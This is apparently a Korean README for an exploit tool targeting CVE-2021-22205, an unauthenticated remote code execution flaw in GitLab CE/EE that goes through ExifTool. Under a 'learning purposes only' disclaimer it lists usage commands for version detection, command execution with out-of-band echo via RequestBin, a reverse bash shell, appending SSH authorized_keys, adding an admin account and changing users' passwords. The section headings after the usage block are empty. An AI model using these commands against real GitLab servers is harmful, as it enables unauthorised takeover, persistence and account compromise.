
ExifTool을 사용한 GitLab CE/EE 사전 인증 RCE
ExifTool을 사용한 GitLab CE/EE 사전 인증 RCE
이 프로젝트는 학습 목적으로만 제공됩니다. 만약 누군가의 권리가 침해되었다면, 프로젝트를 삭제할 수 있도록 연락해 주십시오. 마지막으로 불법으로 사용하지 마십시오. 이 도구를 사용하는 과정에서 불법 행위를 저지르면 모든 책임은 본인에게 있습니다. 이 도구의 모든 개발자와 기여자는 어떠한 법적 및 공동 책임도 지지 않습니다.
GitLab CE/EE 11.9부터 모든 버전에 영향을 주는 문제가 발견되었습니다. GitLab은 파일 파서에 전달된 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다.
영향 받는 버전:
🐚 ››› python CVE-2021-22205.py
░░░░▐▐░░░ CVE-2021-22205
▐ ░░░░░▄██▄▄ GitLab CE/EE Unauthenticated RCE using ExifTool
▀▀██████▀░░ Affecting all versions starting from 11.9
░░▐▐░░▐▐░░ security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild
▒▒▒▐▐▒▒▐▐▒ github.com/inspiringz/CVE-2021-22205
Usage:
python3 CVE-2021-22205.py -u site_url -m detect # gitlab version & vuln detect
python3 CVE-2021-22205.py -u site_url -m rce1 'id' # rce (echo via requestbin oob)
python3 CVE-2021-22205.py -u site_url -m rce2 'id' # rce (echo via write file) *
python3 CVE-2021-22205.py -u site_url -m rev ip port # reverse bash shell
python3 CVE-2021-22205.py -u site_url -m ssh git/root # append ssh authorized_keys
python3 CVE-2021-22205.py -u site_url -m add user pass # add manager account *
python3 CVE-2021-22205.py -u site_url -m mod user # modify specified user's password => P4ss@GitLab
python3 CVE-2021-22205.py -u site_url -m rec user # restore specified user's original password
site_url 매개변수 형식: http[s]://<domain|ip>[:port]/, 예: https://example.com:9000/*로 표시된 메서드(rce2, add)는 불안정하여 작동하지 않을 수 있습니다 :(탐지:

RCE(RequestBin OOB를 통한 에코):

리버스 배쉬 셸:

SSH 키를 authorized_keys에 추가:

GitLab 사용자 비밀번호 수정 및 복원:
